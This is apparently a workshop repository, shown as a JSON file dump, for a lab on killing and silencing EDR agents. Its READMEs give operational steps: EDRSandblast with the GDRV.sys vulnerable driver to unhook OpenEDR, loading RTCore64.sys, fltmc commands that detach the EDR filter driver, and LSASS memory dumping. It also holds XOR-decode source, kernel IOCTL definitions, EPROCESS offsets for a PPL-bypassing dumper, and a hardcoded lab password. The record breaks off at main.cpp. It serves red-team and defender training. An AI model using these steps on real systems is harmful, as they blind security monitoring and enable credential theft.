[
  {
    "path": "0-setup/README.md",
    "content": "# SETUP\n\n## Pluralsight Lab Environment\nYou MUST have a free PluralSight account to use the online platform. You can attempt to follow along on a VM or your own device, but we can't guarantee everything will work.\n\nFirst you need an account, or if you don't already have one, a free acount. \n\nThis does require a free trial. And as of today ( because it used to be different ) this does require a free trial.\n\nhttps://www.pluralsight.com/individuals/pricing\n\n1. Chose the security option, 10 day free trial.\n2. Fill out required information, including the credit card.... I know, I know, but I don't make the rules. Cloud resources do cost money so I kinda get it.\n3. Set a calendar reminder to cancle your subscription. (No, seriously, otherwise you know darn well you won't do it.)\n4. Login and access the lab (Defcon 33 Workshop: Killing and Silencing EDR Agents) at this link.\n`https://app.pluralsight.com/labs/detail/28895c03-00f9-4f5d-bd7d-5e05c57aa275/toc`\n\nOnce done with this we can move in. If you would prefer to emulate the lab on your own device or on a vm, you will need the following:\n\n1. OpenEDR installed. https://github.com/ComodoSecurity/openedr\n2. Filebeat installed and forwarding to an ELK stack. https://www.elastic.co/docs/reference/beats/filebeat/filebeat-installation-configuration\n3. Lots of understanding built in.  Otherwise, follow along in the provided platform.\n\n\n\n## Environment Setup\nOnce in the lab above. Clicke the start environment button, and wait a few minutes for it to build.  Once it is done loading the button will say \"open environment\", and when you click that, it will take you into the lab in a new tab.\n\nTo bring up the side panel use \"ctl+shft+alt\" and then click the \"pluralsight\" word in the top left. This will allow you to navigate to other devices, as well as give you access to copy paste functionality.\n\n\n1. Open the **Windows Target**, open PowerShell **AS ADMIN!!**.\n- Note: You MUST launch PowerShell as Admin!\n2. Change dir to the lab files setup folder on the Public user's desktop:\n- `cd C:\\Users\\Public\\Desktop\\LAB_FILES\\0-setup`\n3. Run the OpenEDR install script. It is interactive, you need to click through the items.\n- `.\\Install-OpenEDR.ps1`\n4. You may need to run it a second time if you see errors, and then it will go through. (No idea why.)\n5. Once complete, run the following the check and make sure the service is running:\n`get-service edrsvc`\n4. Next, in the powershell terminal, from the same directory, install filebeat!\n- `.\\Install-Filebeat.ps1` \n> You may need to close out the explorer window, and/or in the powershell prompt press enter to \"kick\" it a bit. The phase where it is running filebeat setup will take a bit to install all the dashboards.\n5. Exit the PowerShell console and double click the ICON ond the desktop for the firefox browser link to the Elastic Stack.\n6. Login with UN: **elastic** PW: **alwaysbelearning**\n7. Browse in the top left, clikc the \"hamburger\" and then click \"DISCOVER\"\n8. In the top left, choose the index \"filebeat-*\"\n9. You should see events that started when you installed filebeat and continue.\n\nYou are now ready to go!\n\n\n\n"
  },
  {
    "path": "0-setup/filebeat.yml",
    "content": "###################### Filebeat Configuration Example #########################\n\n# This file is an example configuration file highlighting only the most common\n# options. The filebeat.reference.yml file from the same directory contains all the\n# supported options with more comments. You can use it as a reference.\n#\n# You can find the full configuration reference here:\n# https://www.elastic.co/guide/en/beats/filebeat/index.html\n\n# For more available modules and options, please see the filebeat.reference.yml sample\n# configuration file.\n\n# ============================== Filebeat inputs ===============================\n\nfilebeat.inputs:\n\n# Each - is an input. Most options can be set at the input level, so\n# you can use different inputs for various configurations.\n# Below are the input-specific configurations.\n\n# filestream is an input for collecting log messages from files.\n- type: filestream\n\n  # Unique ID among all inputs, an ID is required.\n  id: OpenEDR1\n\n  # Change to true to enable this input configuration.\n  enabled: true\n\n  # Paths that should be crawled and fetched. Glob based paths.\n  paths:\n    #- /var/log/*.log\n    - C:\\ProgramData\\edrsvc\\log\\output_events\\*.log\n\n  # Exclude lines. A list of regular expressions to match. It drops the lines that are\n  # matching any regular expression from the list.\n  # Line filtering happens after the parsers pipeline. If you would like to filter lines\n  # before parsers, use include_message parser.\n  #exclude_lines: ['^DBG']\n\n  # Include lines. A list of regular expressions to match. It exports the lines that are\n  # matching any regular expression from the list.\n  # Line filtering happens after the parsers pipeline. If you would like to filter lines\n  # before parsers, use include_message parser.\n  #include_lines: ['^ERR', '^WARN']\n\n  # Exclude files. A list of regular expressions to match. Filebeat drops the files that\n  # are matching any regular expression from the list. By default, no files are dropped.\n  #prospector.scanner.exclude_files: ['.gz$']\n\n  # Optional additional fields. These fields can be freely picked\n  # to add additional information to the crawled log files for filtering\n  #fields:\n  #  level: debug\n  #  review: 1\n\n# ============================== Filebeat modules ==============================\n\nfilebeat.config.modules:\n  # Glob pattern for configuration loading\n  path: ${path.config}/modules.d/*.yml\n\n  # Set to true to enable config reloading\n  reload.enabled: false\n\n  # Period on which files under path should be checked for changes\n  #reload.period: 10s\n\n# ======================= Elasticsearch template setting =======================\n\nsetup.template.settings:\n  index.number_of_shards: 1\n  #index.codec: best_compression\n  #_source.enabled: false\n\n\n# ================================== General ===================================\n\n# The name of the shipper that publishes the network data. It can be used to group\n# all the transactions sent by a single shipper in the web interface.\n#name:\n\n# The tags of the shipper are included in their field with each\n# transaction published.\ntags: [\"OpenEDR\"]\n\n# Optional fields that you can specify to add additional information to the\n# output.\n#fields:\n#  env: staging\n\n# ================================= Dashboards =================================\n# These settings control loading the sample dashboards to the Kibana index. Loading\n# the dashboards is disabled by default and can be enabled either by setting the\n# options here or by using the `setup` command.\n#setup.dashboards.enabled: false\n\n# The URL from where to download the dashboard archive. By default, this URL\n# has a value that is computed based on the Beat name and version. For released\n# versions, this URL points to the dashboard archive on the artifacts.elastic.co\n# website.\n#setup.dashboards.url:\n\n# =================================== Kibana ===================================\n\n# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API.\n# This requires a Kibana endpoint configuration.\nsetup.kibana:\n\n  # Kibana Host\n  # Scheme and port can be left out and will be set to the default (http and 5601)\n  # In case you specify and additional path, the scheme is required: http://localhost:5601/path\n  # IPv6 addresses should always be defined as: https://[2001:db8::1]:5601\n  host: \"http://172.31.24.42:5601\"\n\n  # Kibana Space ID\n  # ID of the Kibana Space into which the dashboards should be loaded. By default,\n  # the Default Space will be used.\n  #space.id:\n\n# =============================== Elastic Cloud ================================\n\n# These settings simplify using Filebeat with the Elastic Cloud (https://cloud.elastic.co/).\n\n# The cloud.id setting overwrites the `output.elasticsearch.hosts` and\n# `setup.kibana.host` options.\n# You can find the `cloud.id` in the Elastic Cloud web UI.\n#cloud.id:\n\n# The cloud.auth setting overwrites the `output.elasticsearch.username` and\n# `output.elasticsearch.password` settings. The format is `<user>:<pass>`.\n#cloud.auth:\n\n# ================================== Outputs ===================================\n\n# Configure what output to use when sending the data collected by the beat.\n\n# ---------------------------- Elasticsearch Output ----------------------------\noutput.elasticsearch:\n  # Array of hosts to connect to.\n  hosts: [\"172.31.24.42:9200\"]\n\n  # Performance preset - one of \"balanced\", \"throughput\", \"scale\",\n  # \"latency\", or \"custom\".\n  preset: balanced\n\n  # Protocol - either `http` (default) or `https`.\n  protocol: \"https\"\n  ssl.verification_mode: \"none\"\n\n  # Authentication credentials - either API key or username/password.\n  #api_key: \"id:api_key\"\n  username: \"elastic\"\n  password: \"alwaysbelearning\"\n\n# ------------------------------ Logstash Output -------------------------------\n#output.logstash:\n  # The Logstash hosts\n  #hosts: [\"localhost:5044\"]\n\n  # Optional SSL. By default is off.\n  # List of root certificates for HTTPS server verifications\n  #ssl.certificate_authorities: [\"/etc/pki/root/ca.pem\"]\n\n  # Certificate for SSL client authentication\n  #ssl.certificate: \"/etc/pki/client/cert.pem\"\n\n  # Client Certificate Key\n  #ssl.key: \"/etc/pki/client/cert.key\"\n\n# ================================= Processors =================================\nprocessors:\n  - add_host_metadata:\n      when.not.contains.tags: forwarded\n  - add_cloud_metadata: ~\n  - add_docker_metadata: ~\n  - add_kubernetes_metadata: ~\n\n# ================================== Logging ===================================\n\n# Sets log level. The default log level is info.\n# Available log levels are: error, warning, info, debug\n#logging.level: debug\n\n# At debug level, you can selectively enable logging only for some components.\n# To enable all selectors, use [\"*\"]. Examples of other selectors are \"beat\",\n# \"publisher\", \"service\".\n#logging.selectors: [\"*\"]\n\n# ============================= X-Pack Monitoring ==============================\n# Filebeat can export internal metrics to a central Elasticsearch monitoring\n# cluster.  This requires xpack monitoring to be enabled in Elasticsearch.  The\n# reporting is disabled by default.\n\n# Set to true to enable the monitoring reporter.\n#monitoring.enabled: false\n\n# Sets the UUID of the Elasticsearch cluster under which monitoring data for this\n# Filebeat instance will appear in the Stack Monitoring UI. If output.elasticsearch\n# is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch.\n#monitoring.cluster_uuid:\n\n# Uncomment to send the metrics to Elasticsearch. Most settings from the\n# Elasticsearch outputs are accepted here as well.\n# Note that the settings should point to your Elasticsearch *monitoring* cluster.\n# Any setting that is not set is automatically inherited from the Elasticsearch\n# output configuration, so if you have the Elasticsearch output configured such\n# that it is pointing to your Elasticsearch monitoring cluster, you can simply\n# uncomment the following line.\n#monitoring.elasticsearch:\n\n# ============================== Instrumentation ===============================\n\n# Instrumentation support for the filebeat.\n#instrumentation:\n    # Set to true to enable instrumentation of filebeat.\n    #enabled: false\n\n    # Environment in which filebeat is running on (eg: staging, production, etc.)\n    #environment: \"\"\n\n    # APM Server hosts to report instrumentation results to.\n    #hosts:\n    #  - http://localhost:8200\n\n    # API Key for the APM Server(s).\n    # If api_key is set then secret_token will be ignored.\n    #api_key:\n\n    # Secret token for the APM Server(s).\n    #secret_token:\n\n\n# ================================= Migration ==================================\n\n# This allows to enable 6.7 migration aliases\n#migration.6_to_7.enabled: true\n\n"
  },
  {
    "path": "0-setup/install-filebeat.ps1",
    "content": "# Start Filebeat Installer\n\nWrite-Host \"Starting Filebeat Install. Follow prompts.\"\n\nstart-process -FilePath \"C:\\filebeat-8.12.0-windows-x86_64.msi\" -Wait\n\nWrite-Host \"Waiting for Filebeat to install...\"\n\nstart-sleep 10\n\nWrite-Host \"Copying Filebeat configuration files...\"\n\ncopy-item -Path \"C:\\Users\\Public\\Desktop\\LAB_FILES\\0-setup\\filebeat.yml\" -Destination \"C:\\Program Files\\Elastic\\Beats\\8.12.0\\filebeat\\filebeat.yml\"\n\nWrite-host \"Starting Filebeat Setup - Wait for Completion...\"\n\nstart-process -FilePath \"C:\\Program Files\\Elastic\\Beats\\8.12.0\\filebeat\\filebeat.exe\" -ArgumentList \"setup\",\"-e\" -wait\n\nWrite-Host \"Installing Filebeat Service\"\n\n\"C:\\Program Files\\Elastic\\Beats\\8.12.0\\filebeat\\install-service-filebeat.ps1\"\n\nWrite-Host \"Starting Filebeat Service\"\n\nStart-Service Filebeat\n\nGet-Service filebeat\n\nWrite-host \"Filebeat install complete\""
  },
  {
    "path": "0-setup/install-openedr.ps1",
    "content": "# Start Edr Installer.\n\nWrite-Host \"Starting OpenEDR Install. Follow Prompts.\"\n\nstart-process -FilePath \"C:\\OpenEDR-Installation-2.5.1.msi\" -ArgumentList \"/passive\" -Wait\n\n# Follow Prompts.\n\nstart-process -FilePath \"C:\\Program Files\\COMODO\\EdrAgentV2\\edrsvc.exe\" -Wait\n\nWrite-host \"Starting EDR Service\"\n\nSet-service -Name \"edrsvc\" -StartupType Automatic\nStart-service -Name \"edrsvc\"\n\nWrite-Host \"OpenEDR Install Complete. Log Files Found in C:\\ProgramData\\edrsvc\\logs\\output_events\"\n\nWrite-Host \"Ironcat Meow\"\n"
  },
  {
    "path": "1-edr-killing/README.md",
    "content": "# EDR Killing and Silencing\n\n## Overview\n\nIn this workshop, we'll be working with Comodo Security's OpenEDR:\n- [Website](https://www.openedr.com/)\n- [GitHub repo](https://github.com/ComodoSecurity/openedr)\n\nFor part 1 of our workshop, we'll be \"killing\" OpenEDR via [EDRSandblast](https://github.com/wavestone-cdt/EDRSandblast), a well-known EDR killer that has been used by a number of threat actors including ransomware actors.\n\nThe flow for this section is as follows:\n- Review OpenEDR's output to review how it logs telemetry\n- Kill OpenEDR using EDRSandblast\n- Perform actions following the killing of OpenEDR and verifying that the actions do not show up in the EDR's telemetry\n\n## Install Notepad++\n\n1. In Explorer, navigate to `C:\\Users\\Public\\Desktop\\LAB_FILES\\1-edr-killing`\n\n1. Double-click `npp.8.8.2.Installer.x64.exe` to install Notepad++\n\n    - Follow the prompts to install\n    \n    - When prompted to `Choose components`, go with the defaults\n\n## 1 Review OpenEDR Logging\n\nOpenEDR has been installed on the Windows host within our lab environment. Let's take a moment to review how OpenEDR logs data:\n\n1. Open PowerShell by double-clicking `PowerShell 7` on the desktop\n\n1. In the PowerShell prompt, run the following commands:\n\n    1. `whoami`\n  \n    1. `powershell -c \"Write-Host 'Testing01'\"`\n  \n    1. `exit` to exit the PowerShell prompt\n\n1. **Wait 2-3 minutes**, then:\n\n1. Navigate to `C:\\ProgramData\\edrsvc\\log\\output_events` via Explorer\n\n1. Right-click the `.log` file for the current day (most _likely_ labeled `2025-08-09.log`) and select `Edit with Notepad++`\n\n    - If you're following along after DefCon33, your log file's name will be the current date. It for sure will __not__ be `2025-08-09.log` :).\n\n1. Search via `Ctrl+F` for the test commands:\n\n    1. Look for `whoami` and `write-host`\n  \n    1. If you do not find the logs for these executions, wait a few minutes, reload the `.log` file, and search again\n    \n    You should see logged process execution that looks like the following, in this case for the `Testing01` command:\n    \n    ``` \n    {\"baseEventType\":1,\"baseType\":1,\"childProcess\":{\"cmdLine\":\"\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" -c \\\"Write-Host 'Testing01'\\\"\",\"creationTime\":1754764097580,\"elevationType\":3,\"flsVerdict\":3,\"id\":15875525547496000396,\"imageHash\":\"3e72bef25a1cd88c502421e3d50a8eb4c6bd1226\",\"imagePath\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"pid\":6848,\"scriptContent\":\"<undefined>\",\"verdict\":1},\"customerId\":\"\",\"deviceName\":\"CLIENT01\",\"endpointId\":\"\",\"eventType\":null,\"processes\":[{\"creationTime\":1754763108579,\"flsVerdict\":3,\"id\":13705142240392347118,\"imageHash\":\"1727054b50f1dcba229739fa0e73bdef0797ac45\",\"imagePath\":\"C:\\\\Windows\\\\System32\\\\winlogon.exe\",\"pid\":4252,\"userName\":\"SYSTEM@NT AUTHORITY\",\"verdict\":1},{\"creationTime\":1754763132912,\"flsVerdict\":3,\"id\":16777330264515671491,\"imageHash\":\"7e27ed0d97bc5b09c9eb37dab311797adeda2430\",\"imagePath\":\"C:\\\\Windows\\\\System32\\\\userinit.exe\",\"pid\":5352,\"userName\":\"pslearner@CLIENT01\",\"verdict\":1},{\"creationTime\":1754763132966,\"flsVerdict\":3,\"id\":1781834014505887309,\"imageHash\":\"8baa602fdc6ba67545c0717e2b9063a0bfe3f278\",\"imagePath\":\"C:\\\\Windows\\\\explorer.exe\",\"pid\":5368,\"userName\":\"pslearner@CLIENT01\",\"verdict\":1},{\"creationTime\":1754764043806,\"flsVerdict\":3,\"id\":5299355317245908830,\"imageHash\":\"82fa6e3ffe6d880722b7c5b4e5251bec6ac51af1\",\"imagePath\":\"C:\\\\Program Files\\\\PowerShell\\\\7\\\\pwsh.exe\",\"pid\":904,\"userName\":\"pslearner@CLIENT01\",\"verdict\":1}],\"sessionUser\":\"pslearner@CLIENT01\",\"time\":1754764097593,\"type\":\"RP1.1\",\"version\":\"1.1\"}\n    ```\n    \n    - Note that the above example log includes a different execution time from what you'll see in our workshop lab environment. But you get the idea.\n\n**Log review:** Ryan to lead OpenEDR log review with workshop attendees :).\n\n- We'll cover what is being unhooked, why, etc. If you're following along after the workshop... not so much.\n\n## Source Code Review: EDRSandblast\n\nNext we'll kill OpenEDR using EDRSandblast. Technically, we'll unhook the various functions used by OpenEDR in order to launch a `cmd.exe` command prompt, run a few commands, and then review the OpenEDR logs to verify that the commands we executed do not show up in the logged telemetry.\n\nLet's review the EDRSandblast code!\n\n1. In Explorer, navigate to `C:\\Users\\Public\\Desktop\\LAB_FILES\\1-edr-killing`\n\n1. **Copy** both Zip archives to the desktop:\n\n    - `EDRSandblast-exe.zip` -- This is a pre-compiled executable for EDRSandblast\n    \n    - `EDRSandblast-master.zip` -- This is the source code for EDRSandblast\n    \n        - Source code from [here](https://github.com/wavestone-cdt/EDRSandblast)\n    \n1. **Extract** the contents of both Zip archives that are now on your desktop:\n\n    - Right-click each file > Select `Extract All...` > Click the `Extract` button\n\n1. Open the newly-extracted `EDRSandblast-master` folder on the desktop, then open the nested `EDRSandblast-master` folder contained within\n\n1. Open `EDRSandblast_CLI`\n\n1. Right-click the `EDRSandblast.c` file > Select `Open with Code`\n\n**Source code review:**\n\nRyan to lead EDRSandblast code review with workshop attendees.\n\n### Bonus: Building EDRSandblast\n\nNOTE: We will **not** be building EDRSandblast in the workshop.\n\nHowever, if you'd like to build it yourself in another environment, the following steps provide an overview of doing so in **Visual Studio 2022**:\n\n1. Choose the `File` menu > `Open` > `Project/Solution...`\n\n1. Navigate to `EDRSandblast-master` > Select `EDRSandblast.sln` > Click the `Open` button at the bottom-right\n\n1. Right-click the `EDRSandblast_CLI` directory on the right > `Build`\n\n    - You should now see a build process take place. Example output:\n    \n    `========== Build: 2 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========`\n\nYeah it's pretty simple... moving along!\n\n## 3 Kill OpenEDR via EDRSandblast\n\n1. Open a Command Prompt **AS ADMIN!!**\n\n    - Right-click `cmd` on the Desktop > Select `Run as administrator`\n\n1. Change directory to `C:\\Users\\pslearner\\Desktop\\EDRSandblast-exe`\n\n    - `cd C:\\Users\\pslearner\\Desktop\\EDRSandblast-exe`\n\n1. Execute `EDRSandblast.exe` without any parameters to see options\n\n    - `EDRSandblast.exe`\n    \n1. Run an Audit in EDRSandblast to check for EDR hooks:\n\n    - `.\\EDRSandblast.exe audit --kernelmode --vuln-driver .\\GDRV.sys`\n    \n    - **Ryan to review results with class**\n    \n    _NOTE:_ If you are following along outside of the PluralSight labs environment, this command will fail due to the offsets of your `Ntoskrnl.exe` and `fltmgr.sys` files not being in `NtoskrnlOffsets.csv` and `FltmgrOffsets.csv`, respectively. The CSV files that we've included for the lab include the offsets for the specific NTOS Kenerl and Filter Manager system driver included in the range environment.\n    \n    If you're running these commands in another system, you'll need to pull the offsets for the given versions of these files within your environment. To do so, you can review [these details](https://github.com/wavestone-cdt/EDRSandblast?tab=readme-ov-file#offsets-retrieval) to learn how to pull your offsets. Alternatively, and to make things much easier, you can simply add `--internet` to the command to automatically retreive the offsets required for your system.\n    \n    E.g. `.\\EDRSandblast.exe audit --kernelmode --vuln-driver .\\GDRV.sys --internet`\n    \n1. Kill OpenEDR!\n\n    - `.\\EDRSandblast.exe cmd --kernelmode --vuln-driver .\\GDRV.sys`\n    \n    - You will now have a command prompt executed while OpenEDR is unhooked!\n    \n    _NOTE:_ Similar to the note above -- If you are following along outside of the PluralSight labs environment, this command will fail due to the offsets of your `Ntoskrnl.exe` and `fltmgr.sys` files not being in `NtoskrnlOffsets.csv` and `FltmgrOffsets.csv`, respectively. Please see the above note for instructions.\n    \n    Alternatively, you can run `.\\EDRSandblast.exe cmd --kernelmode --vuln-driver .\\GDRV.sys --internet` to retrieve offsets automatically. Or, you know, just use the PluralSight Labs environment :).\n    \n1. In the new shell (w/OpenEDR killed), run the following commands:\n\n    1. `echo Hello01`\n    \n    1. `ping 1.1.1.1 -n 1`\n    \n    1. `exit` to exit the shell\n    \n    - You will see that the EDRSandblast service has been stopped. The EDR is once again active.\n    \n1. Now that OpenEDR is once again active, run the following commands:\n  \n    1. `echo Hello02`\n    \n    1. `ping 2.2.2.2 -n 1`\n    \n    1. `exit` to exit the shell, which will close your prompt window\n    \n1. In Explorer, navigate to `C:\\ProgramData\\edrsvc\\log\\output_events`\n\n1. Right-click the `.log` file for the current day (most _likely_ labeled `2025-08-09.log`) and select `Edit with Notepad++`\n\n1. Search via `Ctrl+F` for the test commands:\n\n    1. Search for the strings `Hello0` and `ping`\n    \n    - Check that out! You should see the following:\n    \n    __NOT__ logged:\n    \n    - `echo Hello01`\n    \n    - `ping 1.1.1.1 -n 1`\n    \n    Logged:\n    \n    - `echo Hello02`\n    \n    - `ping 2.2.2.2 -n 1`\n          \nAnd there we have it!\n\n**Ryan to review results with class**\n\n## 4 EDR Silencing\n\nWhile killing an EDR typically involves \"killing\" the ability for the EDR to detect your actions, \"silencing\" refers to the act of preventing communication between the EDR agent and its cloud-based tenant.\n\nWhile I aimed to write up details pertaining to silencing, details related to common silencing methods can be found in [EDR Silencers and Beyond: Exploring Methods to Block EDR Communication - Part 1](https://cloudbrothers.info/en/edr-silencers-exploring-methods-block-edr-communication-part-1/) along with [EDR Silencer and Beyond: Exploring Methods to Block EDR Communication - Part 2](https://academy.bluraven.io/blog/edr-silencer-and-beyond-exploring-methods-to-block-edr-communication-part-2).\n\nWe covered these in the DC33 workshop. But if you're reading this after the event, simply review the above article for details.\n\nSee also: [EDRSilencer GitHub repo](https://github.com/netero1010/EDRSilencer)\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/README.md",
    "content": "# Bring Your Own Vulnerable Driver\n\nThe point of this module is to cover the concepts of leveraging drivers to access protected processes and bypass protections.\n\nFor more BYOD information or downloads this is a great resource:\n\nhttps://www.loldrivers.io/\n\n**RTCore64.sys** is the driver we will be abusing.\n\nThe driver in Micro-Star MSI Afterburner 4.6.2.15658 (aka RTCore64.sys and RTCore32.sys) allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.\n\nDumping lsass will be the name of the game. \n\n\n1. In the lab environment, open up the **Operator Desktop**, once loaded and the terminal pops up, change the permissions on the lab folder.\n`sudo chown pslearner:pslearner -R /home/pslearner/lab`\n\n2. Now change directory to that folder.\n`cd /home/pslearner/lab`\n3. Open VSCODE.\n`code .`\n5. Once open, accept any pop ups. Trusting the author etc.\n6. In the top left, use the mouse to click \"terminal\" then \"new terminal\" to launch a bash terminal in the bottom pane.\n7. In the terminal in the bottom plane, run python simple server to host the files.\n8. Open the 2-custom-edr-evasion>1-Custom-BYOD folder on the left.\n9. Click dump-that-lsass.cpp to open the file.\n> **Discuss Signatures**\n> - On Disk / In Memory\n> - Demo dump-that-lsass execution.\n11. Open the **Windows Target 2**\n12. Use the search bar to search for \"security\" and open the \"Windows Security\" app.\n13. Go to Virus & Threat Protection and click the \"turn on\" button.\n14. Now open an Administrative command prompt by search for cmd.exe, right click the command prompt app and select run as administrator.\n15. Change directory to the lab files for this module.\n`cd c:\\Users\\Public\\Desktop\\LAB_FILES\\2-custom-edr-evasion\\1-Custom-BYOD`\n16. Open task manager, click \"more details\". Sort using the column \"name\" with a click. Scroll down to find \"Local Security Authority Process\". Right click it and open properties. Note this is LSASS. Close the window.\n17. Right click the LSASS process gain, and clikc \"Create dump file\".  Wait a moment and notice the alert.\n18. Back in your Administrative CMD prompt. Copy dump-that-lsass.exe to the c drive.\n`copy dump-that-lsass.exe c:\\dump-that-lsass.exe`\n> **Discuss Privilege Error**\n> - system-that-lsass execution\n> - talk about pp/ppl lsa protection win11/2022\n18. In the adminstrative command prompt run **system-that-lsass.exe**\n`system-that-lsass.exe`\n19. Open windows file explorer and navigate to \"C:\\Windows\\Temp\" and open launcher.log and lsass_dumper.log.\n20. Open a powershell command prompt and check PPL.\n`Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" | Select-Object RunAsPPL`\n21. In the Administrative command prompt, use dir to identify the lsass_encoded.bin file.\n22. Decode it with decode-that-lsass.exe.\n`decode-that-lsass.exe`\n22. Go back to the **Operator Desktop**\n> **discuss nikito**\n> - miniwritedump\n> - temp files\n23. Time for EDR. Back on the **Windows Target 2** device. Install EDR and file beat monitor.\n> [Setup Steps](../../0-setup/README.md)\n24. With EDR installed, use the Administrative command prompt to re-run the system-that-lsass.exe program.\n`system-that-lsass.exe`\n25. Open elasticsearch with the link on the desktop. & Login. un: **elastic** pw: **alwaysbelearning**\n26. In he top left go to discover.\n27. In the top right change the time to the last 15 minutes. (Feel free to play around with this however you want.)\n30. Use free text search to search for \"lsass\".\n> **discuss monitoring vs detection**\n> - don't always have to disable\n31. Driver time. Back in the administrative command prompt. Copy the driver to the C:\\Windows\\Temp folder.\n> make sure you are in the \"C:\\Users\\Public\\Desktop\\LAB_FILES\\2-custom-edr-evasion\\1-Custom-BYOD\"\n`copy RTCore64.sys c:\\Windows\\Temp\\RTCore64.sys`\n32. Load the driver.\n`driver_loader.exe`\n33. Check logs in C:\\Widnows\\Temp\\driver_loader.log\n34. Check for loaded driver, open services and look for MyRTCore64.\n**Discuss why it isn't there**\n35. Query for the driver with SC in the command line.\n`sc query MyRTCore64`\n36. Check for more detail with driverquery.\n`driverquery /v /fo table`\n36. Unload the driver.\n`sc stop MyRTCore64.sys`\n**Did you see what I saw?**\n37. Unload edrdrv.\n`sc stop edrdrv`\n**Discuss failure**\n38. Run fltmc to detach and unload file filter drivers.\n```\nfltmc\nfltmc instances -f edrdrv\nfltmc detach edrdrv c:\nfltmc detach edrdrv \\Device\\Mup\nfltmc unload edrdrv\nfltmc\n```\n39. Now Check SC Query.\n`sc query edrdrv`\n40. Stop edrdrv\n`sc stop edrdrv`\n41. In your administrative command prompt, run lsass_dumper.exe.\n> full path C:\\Users\\Public\\Desktop\\LAB_FILES\\2-custom-edr-evasion\\1-Custom-BYOD\n```\ncd driver-dumper\nlsass_dumper.exe\n```\n35. Check\n36. Run lsass_dumper.exe\n`lsass_dumper.exe`\n37. Check logs in C:\\Windows\\Temp\\lsass_dumper\n> **discuss failure**\n> - Check code for driver-dumper in Operator Desktop\n> - Talk about BYOD moving forward and whats needed.\n39. Go check for your activity after disabling the edrdrv filter in elasticsearch.\n> Some search terms.\n```\nsystem-that-lsass.exe\nlsass_dumper.exe\nlsass_encoded.bin\n```\n> Run more code and see what does and doesn't pop up. this is the end of this module.\n> **Discussion**\n> - did you see sysmon? I saw sysmon...\n> - kill sysmon (not tested we are in this together, awww)\n\nSmall pause while we shift gears. Then heading to the custom edr evasion techniques. But keep in mind they are fun and experiemental.\n[Custom API EDR Evastion](../2-Custom-API/README.md)\n\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/decode-that-lsass.cpp",
    "content": "#include <iostream>\n#include <fstream>\n#include <vector>\n\n#define XOR_KEY 0x41\n\nint main() {\n    std::ifstream inFile(\"lsass_encoded.bin\", std::ios::binary);\n    if (!inFile.is_open()) {\n        std::cerr << \"[-] Failed to open input file.\\n\";\n        return 1;\n    }\n\n    std::vector<char> data((std::istreambuf_iterator<char>(inFile)),\n                            std::istreambuf_iterator<char>());\n    inFile.close();\n\n    // XOR decode\n    for (auto& byte : data) {\n        byte ^= XOR_KEY;\n    }\n\n    std::ofstream outFile(\"lsass_decoded.dmp\", std::ios::binary);\n    if (!outFile.is_open()) {\n        std::cerr << \"[-] Failed to open output file.\\n\";\n        return 1;\n    }\n\n    outFile.write(data.data(), data.size());\n    outFile.close();\n\n    std::cout << \"[+] Decoded memory written to lsass_decoded.dmp\\n\";\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/README.md",
    "content": "# BYOVD LSASS Dumper (PPL Bypass)\n\n## Overview\nThis tool:\n- Loads RTCore64.sys as a vulnerable driver\n- Uses kernel R/W to locate EPROCESS for LSASS and SYSTEM\n- Steals a SYSTEM handle to LSASS\n- Dumps LSASS memory (bypassing PPL) with XOR encoding\n\n## Requirements\n- RTCore64.sys at `C:\\Windows\\Temp\\RTCore64.sys`\n- Run as Administrator\n- Test signing mode or unsigned driver support enabled\n\n## Build (Linux)\n```bash\nx86_64-w64-mingw32-g++ main.cpp -o lsass_dumper.exe -static\n```\n\n## Output\n- Dump: `C:\\Windows\\Temp\\lsass_encoded.dmp`\n- Logs: `C:\\Windows\\Temp\\lsass_dumper.log`\n\n\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/headers/driver_interface.h",
    "content": "#pragma once\n#include <windows.h>\n#define RTCORE64_DEVICE_PATH L\"\\\\\\\\.\\\\RTCore64\"\n#define IOCTL_READ_PHYSICAL_MEMORY  CTL_CODE(FILE_DEVICE_UNKNOWN, 0xA801, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define IOCTL_WRITE_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0xA802, METHOD_BUFFERED, FILE_ANY_ACCESS)\ntypedef struct _PHYSICAL_MEMORY_RW {\n    ULONGLONG address;\n    DWORD     size;\n    ULONGLONG buffer;\n} PHYSICAL_MEMORY_RW;\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/headers/eprocess_offsets.h",
    "content": "#pragma once\n#define OFFSET_ActiveProcessLinks  0x2f0\n#define OFFSET_UniqueProcessId     0x2e8\n#define OFFSET_ImageFileName       0x450\n#define OFFSET_DirectoryTableBase  0x028\n#define OFFSET_Token               0x4b8\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/headers/handle_offsets.h",
    "content": "#pragma once\n#define OFFSET_ObjectTable             0x570\n#define OFFSET_HandleTable_TableCode   0x8\n#define HANDLE_TABLE_ENTRY_SIZE        0x18\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/headers/paging.h",
    "content": "#pragma once\n#define VADDR_TO_INDEX(va, shift) (((va) >> (shift)) & 0x1FF)\n#define PAGE_PRESENT   0x1\n#define LARGE_PAGE     0x80\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/main.cpp",
